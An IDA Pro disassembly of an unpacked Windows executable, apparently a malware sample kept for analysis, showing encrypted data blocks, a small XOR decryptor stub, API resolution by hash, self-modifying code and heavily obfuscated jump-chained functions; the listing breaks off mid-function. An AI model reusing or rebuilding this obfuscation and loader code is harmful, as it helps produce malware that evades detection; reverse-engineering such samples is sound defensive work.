; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8521FB5CEF356BBC1DECC7FDA0FC8B75 ; File Name : u:\work\8521fb5cef356bbc1decc7fda0fc8b75_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 10000000 ; Section 1. (virtual address 00001000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 10001000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_10001000 dd 7C7C6B94h, 7C14947Ch, 49837C7Ch, 6C7C4B50h, 7C7D9194h ; DATA XREF: _3a14gzkz:1001E15Co dd 947C167Ch, 7C7C7852h, 7C783D94h, 4B08DF7Ch, 18166C7Ch dd 7C782394h, 784C947Ch, 4DF7C7Ch, 166C7C4Bh, 78329418h dd 63947C7Ch, 0DF7C7C78h, 6C7C4B00h, 7C4B08DDh, 461F76Ch dd 576C7C4Bh, 71F7A4h, 576C7C4Bh, 1887FFB4h, 85FD730Fh dd 7C7C7CB4h, 7C167B0Fh, 7C7FA594h, 7616BF7Ch, 7C167B16h dd 7C7FAF94h, 4B5CDF7Ch, 162C6C7Ch, 7FA2947Ch, 58DF7C7Ch dd 836C7C4Bh, 7C4B5C49h, 947C166Ch, 7C7C7F96h, 7C4B4CDFh dd 5849836Ch, 946C7C4Bh, 7C7C7FBEh, 7C4B54DFh, 4C71F76Ch dd 0F76C7C4Bh, 7C4B5441h, 3575976Ch, 294578BCh, 584548FCh dd 8F09B577h, 4B544983h, 0A5946C7Ch, 0FF7C7C7Fh, 48DF78B8h dd 166C7C4Bh, 6C7C1478h, 49837C7Ch, 6C7C4B48h, 0E3947C16h dd 0DF7C7C7Fh, 6C7C4B50h, 4B484983h, 49836C7Ch, 6C7C4B50h dd 4B4C4983h, 49836C7Ch, 6C7C4B54h, 7C7FB794h, 6CB8FF7Ch dd 90F729BFh, 39F7AE4Fh, 70098B74h, 7909AE77h, 977439F7h dd 7C7CC673h, 39F77C7Ch, 70098B74h, 70198B3Ch, 7C74BEB5h dd 0F790F729h, 0A7F7409h, 4449F540h, 0F76C7C4Bh, 40DF443Ah dd 736C7C4Bh, 0DF7A3ACBh, 6C7C4B3Ch, 6832CB73h, 7F64BDFFh dd 3849F58Dh, 0F76C7C4Bh, 7C4B4449h, 0F7AE4F6Ch, 498B283Ah dd 6C7C4B40h, 7609AE77h, 0DF283AF7h, 6C7C4B0Ch, 0AE4F6497h dd 8B283AF7h, 7C4B4049h, 598B3C6Ch, 6C7C4B40h, 4B0C797Dh dd 7CC56C7Ch, 0F77C7C7Ch, 7C4B3841h, 3C71476Ch, 86C7C4Bh dd 3FF2D3Ch, 4E087C74h, 3BF7AE4Fh, 40498B74h, 776C7C4Bh dd 0F77709AEh, 797D743Bh, 6C7C4B0Ch, 0AE4F6497h, 8B743BF7h dd 7C4B4049h, 598B3C6Ch, 6C7C4B40h, 4B0C797Dh, 3D256C7Ch dd 9754BBFFh, 4B0CDDC4h, 0BEB56C7Ch, 0F7297C78h, 7409F790h dd 0F5400A7Fh, 7C4B3449h, 7409836Ch, 83835B94h, 4B28DF83h dd 78166C7Ch, 7C6C7C14h, 2849837Ch, 166C7C4Bh, 7E1C947Ch dd 24DF7C7Ch, 0DD6C7C4Bh, 6C7C4B24h, 7C4B20DFh, 3449F76Ch dd 0F76C7C4Bh, 1CDF283Ah, 736C7C4Bh, 0FF6832CBh, 8D7F64BDh dd 4B1849F5h, 49F76C7Ch, 6C7C4B38h, 4B4441F7h, 7CC56C7Ch dd 0F77C7C7Ch, 7C4B1C61h, 3C71476Ch, 86C7C4Bh, 6822456Fh dd 3AF7740Fh, 4B1CDF68h, 0FF3D6C7Ch, 999754BAh, 2041F72Bh dd 0F76C7C4Bh, 71F77409h, 6C7C4B1Ch, 0F723D88Fh, 23F7283Bh dd 942C2F44h, 83838215h, 4B20797Dh, 7CC56C7Ch, 0F77C7C7Ch dd 7C4B3849h, 4441F76Ch, 476C7C4Bh, 7C4B3C71h, 2D17086Ch dd 7C6C02FFh, 3AF7380Ah, 4B14DF6Ch, 3A476C7Ch, 0F7740A74h dd 14DF743Ah, 0F76C7C4Bh, 397F683Ah, 0F72A2B74h, 7C4B2041h dd 0F78CF76Ch, 7C4B1471h, 22D88F6Ch, 743AF723h, 2F4423F7h dd 827B942Ch, 797D8383h, 6C7C4B20h, 2FF6597h, 6F087C74h dd 0F7743AF7h, 2C2F4423h, 83819094h, 20797D83h, 256C7C4Bh dd 54BAFF3Dh, 416F197h, 7C4BFC14h, 947C166Ch, 7C7C7D72h dd 7C4C3814h, 4C7C146Ch, 7C166C7Ch, 78167C16h, 7C167C16h dd 0FC147C16h, 166C7C4Bh, 7CA6947Ch, 79BB7C7Ch, 6C7C4C28h dd 7C7D7C7Bh, 7C4C2814h, 3449836Ch, 946C7C4Ch, 7C7C7CA4h dd 4C8461F7h, 0BFFF6C7Ch, 167C1674h, 4B101478h, 832F6C7Ch dd 7C4C3849h, 7CAE946Ch, 3C167C7Ch, 7C4C7C14h, 2849837Ch dd 836C7C4Bh, 4983480Bh, 6C7C4C38h, 7C7CA794h, 837C167Ch dd 7C4B2849h, 2449836Ch, 836C7C4Bh, 4983480Bh, 6C7C4C38h dd 7C7CB794h, 8461F77Ch, 0FF6C7C4Ch, 7C1674BFh, 3BF17816h dd 832F2C48h, 7C4C3849h, 7CD2946Ch, 3BF77C7Ch, 543B7F48h dd 7C4D78DFh, 4C28146Ch, 49836C7Ch, 6C7C4C34h, 7C7C1394h dd 3449837Ch, 946C7C4Ch, 7C7C7C22h, 7CFC7C14h, 837C167Ch dd 7C4B5049h, 7C0C946Ch, 7C147C7Ch, 167C7CFCh, 2449837Ch dd 946C7C4Bh, 7C7C7C22h, 7C78BEB5h, 5C7C5983h, 59836C7Ch dd 6C7C5C78h, 5C745983h, 59836C7Ch, 6C7C5C70h, 5C6C5983h dd 59836C7Ch, 6C7C5C68h, 5C645983h, 59836C7Ch, 6C7C5C60h dd 5C5C5983h, 59836C7Ch, 6C7C5C58h, 5C545983h, 59836C7Ch dd 6C7C5C50h, 5C4C5983h, 59836C7Ch, 6C7C5C48h, 5C445983h dd 59836C7Ch, 6C7C5C40h, 5C3C5983h, 0B0B06C7Ch, 0B0B0B0B0h dd 5808F71Ch, 0FF62F758h, 87FD83B4h, 4E4F2C3Dh, 22F77709h dd 6487FF78h, 3AF77F0Eh, 5838F56Ch, 0B0BF1D60h, 3 dup(0B0B0B0B0h) dd 5808F71Ch, 5830F758h, 5800F754h, 88AF950h, 883F91Ah dd 6485FF1Eh, 62F7210Eh, 2C3D87FDh, 2F094E4Fh, 0FF7822F7h dd 370E6487h, 3B0EA555h, 0B743245h, 838F7D3Eh, 942F740Ah dd 7C7C7F5Ch, 4774B8FFh, 5309703Ah, 4C5830F7h, 0B6C3245h dd 832B2D5Ah, 942F740Ah, 7C7C7C58h, 476CB8FFh, 6F096C3Ah dd 2B2CBFF5h, 7C7E8F94h, 74B8FF7Ch, 0F5683A47h, 0FF7F08A4h dd 38F583B4h, 0BF1D6058h, 5808F71Ch, 5838F758h, 5800F754h dd 5830F750h, 0F92D2C4Ch, 0D7F8738Ah, 0F97C7C7Eh, 0DFF87383h dd 807C7C7Eh, 10FFAE4Dh, 737D7858h, 7C7EE9FEh, 0FF7AF67Ch dd 50FF7DBAh, 0FE737D58h, 7C7C7EFAh, 0BBFF7BF4h, 7C7EC77Dh dd 0AE7C7C7Ch, 10FF6E09h, 737D7858h, 7C7E11FEh, 3A6AF67Ch dd 0BE82AE7Ch, 0AE7CB80Fh, 10FF6E09h, 737D7858h, 7C7E29FEh dd 3A6AF67Ch, 0BE82AE7Ch, 7CCCFF73h, 0BC4D7C7Ch, 6E09AE7Ch dd 785810FFh, 4BFE737Dh, 0F67C7C7Eh, 0AE7C3A6Ah, 0FF73BE82h dd 7C7C7DA3h, 6E09AE7Ch, 785810FFh, 67FE737Dh, 0F67C7C7Eh dd 0AE7C3A6Ah, 0BC6DBE82h, 6E09AE7Ch, 785810FFh, 7FFE737Dh dd 0F67C7C7Eh, 0AE7C3A6Ah, 0BC6DBE82h, 6E09AE7Ch, 785810FFh dd 97FE737Dh, 0F67C7C7Dh, 0AE7C3A6Ah, 0BC6DBE82h, 6E09AE7Ch dd 785810FFh, 0AFFE737Dh, 0F67C7C7Dh, 0AE7C3A6Ah, 0BC6DBE82h dd 7C69F873h, 20F77C7Ch, 60574458h, 73A44558h, 7C7DC9FBh dd 5587F57Ch, 0FF7FF6BFh, 737D5850h, 7C7DD9FEh, 3B7BF47Ch dd 7C7C7EC7h, 8360957Ch, 7DC48383h, 7C7C7C7Ch, 0FF6E09AEh dd 7D785810h, 7DF8FE73h, 6AF67C7Ch, 82AE7C3Ah, 73BC6DBEh dd 7C7D09FEh, 9AE7C7Ch, 5810FF6Eh, 0FE737D78h, 7C7C7D1Ah dd 7C3A6AF6h, 0EBE82AEh, 0C7A455B6h, 7C7C7C7Dh, 7C1FF973h dd 7DC57C7Ch, 7C7C7C7Ch, 0FF6E09AEh, 7D785810h, 7D40FE73h dd 6AF67C7Ch, 82AE7C3Ah, 73B56DBEh, 7C7D51FEh, 9AE7C7Ch dd 5810FF6Eh, 0FE737D78h, 7C7C7D62h, 7C3A6AF6h, 0EBE82AEh dd 30F72DB6h, 30574058h, 0B1457858h, 7FFB7325h, 557C7C7Dh dd 0FE735870h, 7C7C7C86h, 5582F52Ah, 22D88F92h, 83820D95h dd 7CD53483h, 73837C7Ch, 7C7C9DF9h, 749CBD7Ch, 785810FFh dd 0AFFE737Dh, 0F67C7C7Ch, 0B9F53A7Ah, 7C7C7DC5h, 9AE7C7Ch dd 5810FF6Eh, 0FE737D78h, 7C7C7CC6h, 7C3A6AF6h, 6DBE82AEh dd 0D7FE73B5h, 7C7C7C7Ch, 0FF6E09AEh, 7D785810h, 7CE0FE73h dd 6AF67C7Ch, 82AE7C3Ah, 41B60EBEh, 7C7C017Ch, 4183A5FFh dd 7C7C797Ch, 4183A5FFh, 7C7C7CFCh, 417CADFFh, 7C7C7CFCh dd 2D7CADFFh, 405830F7h, 78583057h, 7325B445h, 7C7C1DFBh dd 5870557Ch, 7C24FE73h, 0F52A7C7Ch, 8FBA5582h, 0B39522D8h dd 0FF838381h, 7D785810h, 7C3CFE73h, 7AF67C7Ch, 0BCB54D3Ah dd 0F8737D94h, 7C7C7C46h, 0F57EADFFh, 30F72DB9h, 30574058h dd 0B4457858h, 67FB7325h dd 557C7C7Ch, 0FE735870h, 7C7C7C6Eh, 5582F52Ah, 22D88FBAh dd 7C7C7DC7h, 81F8957Ch, 0B8FF8383h, 0B4FF1D74h, 0B8FFBF83h dd 58005774h, 5800F550h, 0B0BF1D60h, 0B0B0B0B0h, 5808F71Ch dd 5830F758h, 4F5CC354h, 0BC556C7Ch, 0F8738AF9h, 7C7C7CB4h dd 0F97D94FFh, 0C7F873B5h, 8B7C7C7Ch, 7C7C7FBAh, 4E6F087Ch dd 83C73A7Ah, 5D7C7C7Ch, 7494BDBFh, 35E3784Fh, 0B6F59909h dd 0BD7B9EFFh, 0F8737F95h, 7C7C7C05h, 0BAFF7A4Fh, 7C83C778h dd 0BF5D7C7Ch, 4F7494BDh, 83C7E378h, 5D7C7C7Ch, 7494BDBFh dd 0C7E3784Fh, 7C7C7C83h, 94BDBF5Dh, 0E3784F74h, 7C7C83C7h dd 0BDBF5D7Ch, 784F7494h, 0FF7A4FE3h, 83C778BAh, 5D7C7C7Ch dd 7494BDBFh, 0C7E3784Fh, 7C7C7C83h, 94BDBF5Dh, 0E3784F74h dd 7C7C83C7h, 0BDBF5D7Ch, 784F7494h, 7C83C7E3h, 0BF5D7C7Ch dd 4F7494BDh, 7335E378h, 8383FBF9h, 0F9ADF583h, 4E6F08B5h dd 83C73A7Ah, 5D7C7C7Ch, 7494BDBFh, 35E3784Fh, 0AC8B9109h dd 605838F5h, 7C7CBF1Dh, 36h dup(7C7C7C7Ch), 180h dup(0) _text ends ; Section 2. (virtual address 00002000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00002000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute vyridizn segment para public 'CODE' use32 assume cs:vyridizn ;org 10002000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing off_10002000 dd offset sub_10015964 ; DATA XREF: an.kk9rg:100149AFr ; sub_10015964:loc_10014AAFw ... dd offset loc_1001AE1D off_10002008 dd offset sub_10014025 ; DATA XREF: sub_10014025+5r ; sub_100183D9w off_1000200C dd offset loc_100183ED ; DATA XREF: sub_10016532:loc_1001479Bw ; an.kk9rg:100166F8w ... off_10002010 dd offset sub_100147AF ; DATA XREF: an.kk9rg:10013714r off_10002014 dd offset loc_100168D4 ; DATA XREF: an.kk9rg:100168D9r ; sub_1001DD1D-4EFEw off_10002018 dd offset sub_100177DF ; DATA XREF: sub_100177DF+5r ; an.kk9rg:10017E4Fw off_1000201C dd offset sub_10014B23 ; DATA XREF: an.kk9rg:10016606r off_10002020 dd offset loc_10014403 ; DATA XREF: sub_10015C14-2AFDw ; an.kk9rg:10014408r ... off_10002024 dd offset sub_10019D6B ; DATA XREF: sub_10019D6B+5r ; an.kk9rg:1001A794w off_10002028 dd offset loc_100190D1 ; DATA XREF: an.kk9rg:10014A36w ; an.kk9rg:100190D6r off_1000202C dd offset sub_1001B3A1 ; DATA XREF: sub_1001B3A1-837Ew ; an.kk9rg:10017EDDw ... off_10002030 dd offset sub_10016F7F ; DATA XREF: an.kk9rg:10016A84w ; an.kk9rg:10017600r off_10002034 dd offset loc_1001724E ; DATA XREF: an.kk9rg:10017253r off_10002038 dd offset sub_100141C1 ; DATA XREF: an.kk9rg:10019A08r ; an.kk9rg:1001C59Ew ... off_1000203C dd offset loc_1001C51E ; DATA XREF: sub_1001C529-395Fw ; an.kk9rg:1001C523r off_10002040 dd offset sub_1001474E ; DATA XREF: an.kk9rg:10015B81w ; sub_1001474E:loc_1001A1CEr align 1000h vyridizn ends ; Section 3. (virtual address 00003000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00003000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 10003000h dd 0C9h dup(0F4F4F4F4h), 83F3C462h, 1AFA95D8h, 6DFDA54Eh dd 0F39930EDh, 849E007Bh, 1D9751C1h, 6A906157h, 0FA2F7CC6h dd 8D284C50h, 14211DEAh, 63262D7Ch, 0FD42B8DFh, 8A458849h dd 134CD9F3h, 644BE965h, 0E943E490h, 9E44D406h, 74D85BCh dd 704AB52Ah, 0EE2E2089h, 9929101Fh, 2041A5h, 77277133h dd 0E7986CA2h, 909F5C34h, 9960D8Eh, 7E913D18h, 0E0F5A8BBh dd 97F2982Dh, 0EFBC997h, 79FCF901h, 0CF9AD43Ch, 0B89DE4AAh dd 2194B510h, 56938586h, 0C8F71025h, 0BFF020B3h, 26F97109h dd 51FE419Fh, 0C1415C0Eh, 0B6466C98h, 2F4F3D22h, 58480DB4h dd 0C62C9817h, 0B12BA881h, 2822F93Bh, 5F25C9ADh, 0D22DC458h dd 0A52AF4CEh, 3C23A574h, 4B2495E2h, 0D5400041h, 0A24730D7h dd 3B4E616Dh, 4C4951FBh, 0DCF64C6Ah, 0ABF17CFCh, 32F82D46h dd 45FF1DD0h, 0DB9B8873h, 0AC9CB8E5h, 3595E95Fh, 4292D9C9h dd 8228B564h, 0F52F85F2h, 6C26D448h, 1B21E4DEh, 8545717Dh dd 0F24241EBh, 6B4B1051h, 1C4C20C7h, 8CF33D56h, 0FBF40DC0h dd 62FD5C7Ah, 15FA6CECh, 8B9EF94Fh, 0FC99C9D9h, 65909863h dd 1297A8F5h, 9F9FA500h, 0E8989596h, 7191C42Ch, 696F4BAh dd 98F26119h, 0EFF5518Fh, 76FC0035h, 1FB30A3h, 91442D32h dd 0E6431DA4h, 7F4A4C1Eh, 84D7C88h, 9629E92Bh, 0E12ED9BDh dd 78278807h, 0F20B891h, 0B94695ACh, 0CE41A53Ah, 5748F480h dd 204FC416h, 0BE2B51B5h, 0C92C6123h, 50253099h, 2722000Fh dd 0B79D1D9Eh, 0C09A2D08h, 59937CB2h, 2E944C24h, 0B0F0D987h dd 0C7F7E911h, 5EFEB8ABh, 29F9883Dh, 0A4F185C8h, 0D3F6B55Eh dd 4AFFE4E4h, 3DF8D472h, 0A39C41D1h, 0D49B7147h, 4D9220FDh dd 3A95106Bh, 0AA2A0DFAh, 0DD2D3D6Ch, 44246CD6h, 33235C40h dd 0AD47C9E3h, 0DA40F975h, 4349A8CFh, 344E9859h, 194C77D4h dd 6E4B4742h, 0F74216F8h, 8045266Eh, 1E21B3CDh, 6926835Bh dd 0F02FD2E1h, 8728E277h, 1797FFE6h, 6090CF70h, 0F9999ECAh dd 8E9EAE5Ch, 10FA3BFFh, 67FD0B69h, 0FEF45AD3h, 89F36A45h dd 4FB67B0h, 73FC5726h, 0EAF5069Ch, 9DF2360Ah, 396A3A9h dd 7491933Fh, 0ED98C285h, 9A9FF213h, 0A20EF82h, 7D27DF14h dd 0E42E8EAEh, 9329BE38h, 0D4D2B9Bh, 7A4A1B0Dh, 0E3434AB7h dd 94447A21h, 2222571Ch, 5525678Ah, 0CC2C3630h, 0BB2B06A6h dd 254F9305h, 5248A393h, 0CB41F229h, 0BC46C2BFh, 2CF9DF2Eh dd 5BFEEFB8h, 0C2F7BE02h, 0B5F08E94h, 2B941B37h, 5C932BA1h dd 0C59A7A1Bh, 0B29D4A8Dh, 3F954778h, 489277EEh, 0D19B2654h dd 0A69C16C2h, 38F88361h, 4FFFB3F7h, 0D6F6E24Dh, 0A1F1D2DBh dd 314ECF4Ah, 4649FFDCh, 0DF40AE66h, 0A8479EF0h, 36230B53h dd 41243BC5h, 0D82D6A7Fh, 0AF2A5AE9h, 6F903644h, 189706D2h dd 819E5768h, 0F69967FEh, 68FDF25Dh, 1FFAC2CBh, 86F39371h dd 0F1F4A3E7h, 614BBE76h, 164C8EE0h, 8F45DF5Ah, 0F842EFCCh dd 66267A6Fh, 11214AF9h, 88281B43h, 0FF2F2BD5h, 72272620h dd 52016B6h, 9C29470Ch, 0EB2E779Ah, 754AE239h, 24DD2AFh dd 9B448315h, 0EC43B383h, 7CFCAE12h, 0BFB9E84h, 92F2CF3Eh dd 0E5F5FFA8h, 7B916A0Bh, 0C965A9Dh, 959F0B27h, 0E2983BB1h dd 54FE168Ch, 23F9261Ah, 0BAF077A0h, 0CDF74736h, 5393D295h dd 2494E203h, 0BD9DB3B9h, 0CA9A832Fh, 5A259EBEh, 2D22AE28h dd 0B42BFF92h, 0C32CCF04h, 5D485AA7h, 2A4F6A31h, 0B3463B8Bh dd 0C4410B1Dh, 494906E8h, 3E4E367Eh, 0A74767C4h, 0D0405752h dd 4E24C2F1h, 3923F267h, 0A02AA3DDh, 0D72D934Bh, 47928EDAh dd 3095BE4Ch, 0A99CEFF6h, 0DE9BDF60h, 40FF4AC3h, 37F87A55h dd 0AEF12BEFh, 0D9F61B79h, 38h dup(0F4F4F4F4h), 200h dup(0) _data ends ; Section 5. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00011000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute T0R0 segment para public 'CODE' use32 assume cs:T0R0 ;org 10011000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 61619060h, 45F07F80h, 850F6090h, 0FF1F8B1Bh, 100068h dd 1000B810h, 3D901000h, 10001A00h, 30800674h, 0F3EB407Ch dd 3000B8h, 3D9010h, 74100038h, 0F4308006h, 0C3F3EB40h dd 3F1h dup(0) T0R0 ends ; Section 6. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00012000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _5zd9bm4t segment para public 'DATA' use32 assume cs:_5zd9bm4t ;org 10012000h dword_10012000 dd 120CCh, 0 dd 0FFFFFFFFh, 1203Ch, 120B4h, 12108h, 0 dd 0FFFFFFFFh, 120E8h, 12104h, 5 dup(0) aKernel32_dll db 'kernel32.dll',0 align 4 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dd 7C80B6A1h, 7C801D77h, 7C80ADA0h, 7C81CDDAh, 7C809A51h dd 7C809AE4h, 1204Ch, 12060h, 12070h, 12084h, 12094h, 120A4h dd 0 aUser32_dll db 'user32.dll',0 align 4 dd 654D0000h, 67617373h, 786F4265h, 41h, 7E45058Ah, 120F4h dd 3BDh dup(0) _5zd9bm4t ends ; --------------------------------------------------------------------------- ; Section 7. (virtual address 00013000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00013000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute an_kk9rg segment para public 'CODE' use32 assume cs:an_kk9rg ;org 10013000h ; START OF FUNCTION CHUNK FOR sub_1001B20F assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_10013000: ; CODE XREF: sub_1001B20F:loc_1001A844j mov esp, ebp pop ebp push ds:dword_1001BC9C retn ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- loc_1001300A: ; CODE XREF: an.kk9rg:1001C1B2j xchg eax, esi sbb ebp, 55E47862h and edi, eax jmp loc_1001D9D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3A1 loc_10013019: ; CODE XREF: sub_1001B3A1-110Fj mov eax, 0C42EC41Eh call sub_100181E1 mov ds:off_1000202C, eax lea eax, loc_10018D1A mov byte ptr [eax], 0C3h jmp loc_100136C3 ; END OF FUNCTION CHUNK FOR sub_1001B3A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_10013037: ; CODE XREF: sub_100190DC+458j cmp al, 0A4h jz loc_1001468E jmp loc_10016B3A ; END OF FUNCTION CHUNK FOR sub_100190DC ; =============== S U B R O U T I N E ======================================= sub_10013044 proc near ; CODE XREF: an.kk9rg:1001628Ej ; sub_10016D66+65E3p ; FUNCTION CHUNK AT 100137BD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10015939 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017ADD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10017DA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C3ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C572 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001C67A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC77 SIZE 00000007 BYTES xchg ecx, [esp+0] pop ecx push 567562F2h pop eax and eax, 5E6F09B9h add eax, 0C00339A8h add eax, ebp jmp loc_10015939 sub_10013044 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013061 proc near ; DATA XREF: sub_1001A54C:loc_10015E53o ; FUNCTION CHUNK AT 100136EC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10013836 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100149E1 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10014F29 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016642 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001728E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017492 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100175F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100194B8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 10019E8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A2E9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001AA7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C860 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C9C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D72F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DEF5 SIZE 00000005 BYTES push 6F70654Ah pop eax or eax, 90AAF674h rol eax, 4 xor eax, 0C87B10E2h add eax, ebp add eax, 0C82B98EFh mov eax, [eax] jmp loc_1001728E sub_10013061 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10013086: ; CODE XREF: sub_1001C799-1BFFj jmp loc_10013409 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001308B: ; CODE XREF: sub_1001CF40-5603j jmp loc_1001918C ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013090: ; CODE XREF: sub_10016734:loc_10016003j jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- adc esi, edi jmp loc_10016767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_1001309C: ; CODE XREF: sub_10015C77:loc_1001D060j jnz loc_10014874 jmp loc_10017175 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_100130A8: ; CODE XREF: sub_10017A58:loc_1001883Aj ; sub_10016734+5122j jmp loc_10018185 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100130AE: ; CODE XREF: an.kk9rg:1001A337j jo loc_10014CA4 sbb edx, esi loc_100130B6: ; CODE XREF: an.kk9rg:loc_10016D5Bj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C7F3 jmp loc_1001BB94 ; =============== S U B R O U T I N E ======================================= sub_100130C7 proc near ; CODE XREF: an.kk9rg:10015025j ; sub_10015945+7067p ; FUNCTION CHUNK AT 100161D7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10017747 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001774E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017C79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100181B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100184F4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10019720 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A0EC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D043 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D48F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_100161D7 sub_100130C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_100130DA: ; CODE XREF: sub_10015945:loc_1001C99Aj call sub_10015945 loc_100130DF: ; CODE XREF: an.kk9rg:100167CEj jmp loc_1001D55E ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100130E4: ; CODE XREF: sub_10013389+E55j jmp loc_1001789E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- rol eax, 12h push offset loc_1001D2BA jmp locret_1001AA4C ; --------------------------------------------------------------------------- test ebx, 7A9FA7Fh jmp loc_1001568A ; --------------------------------------------------------------------------- adc ecx, edx jmp sub_1001B413 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_10013108: ; CODE XREF: sub_10015C14+7327j call sub_10014DD9 mov eax, 9E849D81h call sub_100181E1 mov ds:off_10002020, eax lea eax, sub_100188A0 jmp loc_10015397 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; 